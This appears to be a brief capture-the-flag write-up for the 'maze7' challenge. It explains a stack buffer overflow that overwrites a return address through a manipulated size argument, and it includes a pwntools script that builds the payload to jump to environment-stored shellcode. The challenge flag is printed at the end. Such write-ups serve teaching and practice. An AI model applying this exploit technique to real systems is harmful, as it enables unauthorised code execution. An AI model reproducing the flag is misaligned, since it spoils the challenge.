← Back
maze7 | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

we will exploit the line marked, and override the ret-address by giving value of 0x44 in the size, while the ret-address is at 0x40. image

in the payload all the staff is \x00, with one exception, when we pass arg4 which contains the size. we do it using buffer overflow image

i marked important values: arg1, arg2, arg3, arg4, fd. (in this order), so we can see that arg4 is found after 46 bytes. image

now, all left is to create your shellcode in environment variable and put the address in the code, in shellcode_address.

#!/usr/bin/python3
import sys
from pwn import *


shellcode_address = 0xffffd4e9

size = 0x44

payload = b'\x00' * 46
payload += p16(size) # this is arg4
payload += b'\x00' * (size-len(payload) - 4)

payload += p32(shellcode_address)


sys.stdout.buffer.write(payload)

image

Flag: eQdZB1qy6L